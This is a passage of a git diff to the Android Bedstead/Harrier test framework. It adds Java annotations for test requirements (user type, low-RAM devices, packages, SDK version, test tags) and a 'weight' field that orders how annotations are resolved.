+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.EARLY;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Marks that a test method should not be run on devices which are in headless system user mode.
+ *
+ * <p>You can guarantee that these methods do not run on headless system user mode devices by
+ * using {@code DeviceState}.
+ */
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+public @interface RequireNotHeadlessSystemUserMode {
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default EARLY;
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/CalledByHostDrivenTest.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireNotLowRamDevice.java
similarity index 76%
copy from common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/CalledByHostDrivenTest.java
copy to common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireNotLowRamDevice.java
index 81b4ee0..8d90920 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/CalledByHostDrivenTest.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireNotLowRamDevice.java
@@ -16,9 +16,7 @@
 
 package com.android.bedstead.harrier.annotations;
 
-import com.android.bedstead.harrier.BedsteadJUnit4;
-
-import org.junit.Test;
+import com.android.bedstead.harrier.DeviceState;
 
 import java.lang.annotation.ElementType;
 import java.lang.annotation.Retention;
@@ -26,11 +24,13 @@
 import java.lang.annotation.Target;
 
 /**
- * Mark that a method is to be called by a host-driven test.
+ * Annotation to indicate that a test does not run on low ram devices.
  *
- * <p>When used with {@link BedsteadJUnit4}, this acts as equivalent to {@link Test}.
+ * <p>This can be enforced by using {@link DeviceState}.
  */
 @Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
 @Retention(RetentionPolicy.RUNTIME)
-public @interface CalledByHostDrivenTest {
+public @interface RequireNotLowRamDevice {
+    String reason();
+    FailureMode failureMode() default FailureMode.SKIP;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequirePackageInstalled.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequirePackageInstalled.java
index dd0f95b..e2f3196 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequirePackageInstalled.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequirePackageInstalled.java
@@ -16,6 +16,8 @@
 
 package com.android.bedstead.harrier.annotations;
 
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.EARLY;
+
 import com.android.bedstead.harrier.DeviceState;
 
 import java.lang.annotation.ElementType;
@@ -40,4 +42,16 @@
     String value();
     DeviceState.UserType onUser() default DeviceState.UserType.CURRENT_USER;
     FailureMode failureMode() default FailureMode.SKIP;
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default EARLY;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequirePackageNotInstalled.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequirePackageNotInstalled.java
index db1a749..36375c1 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequirePackageNotInstalled.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequirePackageNotInstalled.java
@@ -16,6 +16,8 @@
 
 package com.android.bedstead.harrier.annotations;
 
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.EARLY;
+
 import com.android.bedstead.harrier.DeviceState;
 
 import java.lang.annotation.ElementType;
@@ -41,4 +43,16 @@
     String value();
     DeviceState.UserType onUser() default DeviceState.UserType.CURRENT_USER;
     FailureMode failureMode() default FailureMode.SKIP;
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default EARLY;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequirePackagesInstalled.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequirePackagesInstalled.java
index aaef85c..6030303 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequirePackagesInstalled.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequirePackagesInstalled.java
@@ -16,6 +16,8 @@
 
 package com.android.bedstead.harrier.annotations;
 
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.EARLY;
+
 import com.android.bedstead.harrier.annotations.meta.RepeatingAnnotation;
 
 import java.lang.annotation.ElementType;
@@ -28,4 +30,16 @@
 @RepeatingAnnotation
 public @interface RequirePackagesInstalled {
     RequirePackageInstalled[] value();
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default EARLY;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequirePackagesNotInstalled.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequirePackagesNotInstalled.java
index 279506c..f38ea63 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequirePackagesNotInstalled.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequirePackagesNotInstalled.java
@@ -16,6 +16,8 @@
 
 package com.android.bedstead.harrier.annotations;
 
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.EARLY;
+
 import com.android.bedstead.harrier.annotations.meta.RepeatingAnnotation;
 
 import java.lang.annotation.ElementType;
@@ -28,4 +30,16 @@
 @RepeatingAnnotation
 public @interface RequirePackagesNotInstalled {
     RequirePackageNotInstalled[] value();
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default EARLY;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunNotOnSecondaryUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunNotOnSecondaryUser.java
new file mode 100644
index 0000000..446bb85
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunNotOnSecondaryUser.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.EARLY;
+
+import com.android.bedstead.harrier.DeviceState;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that a test method should run on a non-secondary user.
+ *
+ * <p>Your test configuration should be such that this test is only run where a non-secondary user
+ * is created and the test is being run on that user.
+ *
+ * <p>Optionally, you can guarantee that these methods do not run on a secondary user by
+ * using {@link DeviceState}.
+ *
+ * <p>This annotation by default opts a test into multi-user presubmit. New tests should also be
+ * annotated {@link Postsubmit} until they are shown to meet the multi-user presubmit
+ * requirements.
+ */
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+// To ensure that the test doesn't run on the secondary user we require that the test run on
+// the primary user to ensure consistent behaviour.
+@RequireRunOnPrimaryUser
+public @interface RequireRunNotOnSecondaryUser {
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default EARLY;
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnPrimaryUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnPrimaryUser.java
index 583e061..a58eb28 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnPrimaryUser.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnPrimaryUser.java
@@ -16,7 +16,11 @@
 
 package com.android.bedstead.harrier.annotations;
 
+import static com.android.bedstead.harrier.OptionalBoolean.TRUE;
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.EARLY;
+
 import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.OptionalBoolean;
 import com.android.bedstead.harrier.annotations.meta.RequireRunOnUserAnnotation;
 
 import java.lang.annotation.ElementType;
@@ -31,9 +35,29 @@
  *
  * <p>Optionally, you can guarantee that these methods do not run outside of the primary
  * user by using {@link DeviceState}.
+ *
+ * <p>Note that in practice this requires that the test runs on the system user, but excludes
+ * headless system users. To mark that a test should run on the system user, including headless
+ * system users, see {@link RequireRunOnSystemUser}.
  */
 @Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
 @Retention(RetentionPolicy.RUNTIME)
 @RequireRunOnUserAnnotation("android.os.usertype.full.SYSTEM")
 public @interface RequireRunOnPrimaryUser {
+    /**
+     * Should we ensure that we are switched to the given user
+     */
+    OptionalBoolean switchedToUser() default TRUE;
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default EARLY;
 }
\ No newline at end of file
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnSecondaryUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnSecondaryUser.java
index eaa7ee0..b3df118 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnSecondaryUser.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnSecondaryUser.java
@@ -16,7 +16,11 @@
 
 package com.android.bedstead.harrier.annotations;
 
+import static com.android.bedstead.harrier.OptionalBoolean.TRUE;
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.EARLY;
+
 import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.OptionalBoolean;
 import com.android.bedstead.harrier.annotations.meta.RequireRunOnUserAnnotation;
 
 import java.lang.annotation.ElementType;
@@ -41,4 +45,20 @@
 @Retention(RetentionPolicy.RUNTIME)
 @RequireRunOnUserAnnotation("android.os.usertype.full.SECONDARY")
 public @interface RequireRunOnSecondaryUser {
+    /**
+     * Should we ensure that we are switched to the given user
+     */
+    OptionalBoolean switchedToUser() default TRUE;
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default EARLY;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnSystemUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnSystemUser.java
new file mode 100644
index 0000000..52c927e
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnSystemUser.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import static com.android.bedstead.harrier.OptionalBoolean.TRUE;
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.EARLY;
+
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.OptionalBoolean;
+import com.android.bedstead.harrier.annotations.meta.RequireRunOnUserAnnotation;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that a test method should run on the system user.
+ *
+ * <p>Your test configuration should be such that this test is only run on the system user
+ *
+ * <p>Optionally, you can guarantee that these methods do not run outside of the system
+ * user by using {@link DeviceState}.
+ *
+ * <p>Note that this requires that the test runs on the system user, including headless system
+ * users. To mark that a test should run on the primary user, excluding headless
+ * system users, see {@link RequireRunOnPrimaryUser}.
+ */
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+@RequireRunOnUserAnnotation(
+        {"android.os.usertype.full.SYSTEM", "android.os.usertype.system.HEADLESS"})
+public @interface RequireRunOnSystemUser {
+    /**
+     * Should we ensure that we are switched to the given user
+     */
+    OptionalBoolean switchedToUser() default TRUE;
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default EARLY;
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnTvProfile.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnTvProfile.java
index 1f12524..c2daad9 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnTvProfile.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnTvProfile.java
@@ -17,6 +17,8 @@
 package com.android.bedstead.harrier.annotations;
 
 import static com.android.bedstead.harrier.OptionalBoolean.ANY;
+import static com.android.bedstead.harrier.OptionalBoolean.TRUE;
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.EARLY;
 
 import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.OptionalBoolean;
@@ -41,4 +43,21 @@
 @RequireRunOnProfileAnnotation("com.android.tv.profile")
 public @interface RequireRunOnTvProfile {
     OptionalBoolean installInstrumentedAppInParent() default ANY;
+
+    /**
+     * Should we ensure that we are switched to the parent of the profile.
+     */
+    OptionalBoolean switchedToParentUser() default TRUE;
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default EARLY;
 }
\ No newline at end of file
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnWorkProfile.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnWorkProfile.java
index 079805b..b06a909 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnWorkProfile.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnWorkProfile.java
@@ -19,6 +19,8 @@
 import static android.content.pm.PackageManager.FEATURE_DEVICE_ADMIN;
 
 import static com.android.bedstead.harrier.OptionalBoolean.ANY;
+import static com.android.bedstead.harrier.OptionalBoolean.TRUE;
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.EARLY;
 
 import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.OptionalBoolean;
@@ -61,4 +63,21 @@
      * Affiliation ids to be set for the profile owner.
      */
     String[] affiliationIds() default {};
+
+    /**
+     * Should we ensure that we are switched to the parent of the profile.
+     */
+    OptionalBoolean switchedToParentUser() default TRUE;
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default EARLY;
 }
\ No newline at end of file
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireSdkVersion.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireSdkVersion.java
index 4b277da..8a272e9 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireSdkVersion.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireSdkVersion.java
@@ -16,6 +16,8 @@
 
 package com.android.bedstead.harrier.annotations;
 
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.EARLY;
+
 import com.android.bedstead.harrier.DeviceState;
 
 import java.lang.annotation.ElementType;
@@ -35,5 +37,18 @@
 public @interface RequireSdkVersion {
     int min() default 1;
     int max() default Integer.MAX_VALUE;
+    String reason() default "";
     FailureMode failureMode() default FailureMode.SKIP;
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default EARLY;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireUserSupported.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireUserSupported.java
index f346b28..325447c 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireUserSupported.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireUserSupported.java
@@ -16,6 +16,8 @@
 
 package com.android.bedstead.harrier.annotations;
 
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.EARLY;
+
 import com.android.bedstead.harrier.DeviceState;
 
 import java.lang.annotation.ElementType;
@@ -37,4 +39,16 @@
 public @interface RequireUserSupported {
     String value();
     FailureMode failureMode() default FailureMode.SKIP;
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default EARLY;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireUsersSupported.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireUsersSupported.java
index 2ee65cb..77102d3 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireUsersSupported.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireUsersSupported.java
@@ -16,6 +16,8 @@
 
 package com.android.bedstead.harrier.annotations;
 
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.EARLY;
+
 import com.android.bedstead.harrier.annotations.meta.RepeatingAnnotation;
 
 import java.lang.annotation.ElementType;
@@ -28,4 +30,16 @@
 @RepeatingAnnotation
 public @interface RequireUsersSupported {
     RequireUserSupported[] value();
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default EARLY;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/CalledByHostDrivenTest.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/SlowApiTest.java
similarity index 77%
rename from common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/CalledByHostDrivenTest.java
rename to common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/SlowApiTest.java
index 81b4ee0..241a5ca 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/CalledByHostDrivenTest.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/SlowApiTest.java
@@ -16,21 +16,16 @@
 
 package com.android.bedstead.harrier.annotations;
 
-import com.android.bedstead.harrier.BedsteadJUnit4;
-
-import org.junit.Test;
-
 import java.lang.annotation.ElementType;
 import java.lang.annotation.Retention;
 import java.lang.annotation.RetentionPolicy;
 import java.lang.annotation.Target;
 
 /**
- * Mark that a method is to be called by a host-driven test.
- *
- * <p>When used with {@link BedsteadJUnit4}, this acts as equivalent to {@link Test}.
+ * Annotation to indicate that a test can take a long time to run.
  */
 @Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
 @Retention(RetentionPolicy.RUNTIME)
-public @interface CalledByHostDrivenTest {
+public @interface SlowApiTest {
+    String value();
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/TestTag.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/TestTag.java
new file mode 100644
index 0000000..7ed6579
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/TestTag.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.EARLY;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Repeatable;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Tag a test with a given string.
+ *
+ * Tags may change the behaviour of tests.
+ */
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+@Repeatable(TestTags.class)
+public @interface TestTag {
+
+    String value();
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default EARLY;
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/TestTags.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/TestTags.java
new file mode 100644
index 0000000..b3a2538
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/TestTags.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.EARLY;
+
+import com.android.bedstead.harrier.annotations.meta.RepeatingAnnotation;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+@RepeatingAnnotation
+public @interface TestTags {
+    TestTag[] value();
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default EARLY;
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/CanSetPolicyTest.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/CanSetPolicyTest.java
new file mode 100644
index 0000000..f94fd62
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/CanSetPolicyTest.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations.enterprise;
+
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.PRECEDENCE_NOT_IMPORTANT;
+
+import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
+import com.android.bedstead.harrier.annotations.meta.RequiresBedsteadJUnit4;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark a test as testing the states where a policy is allowed to be applied.
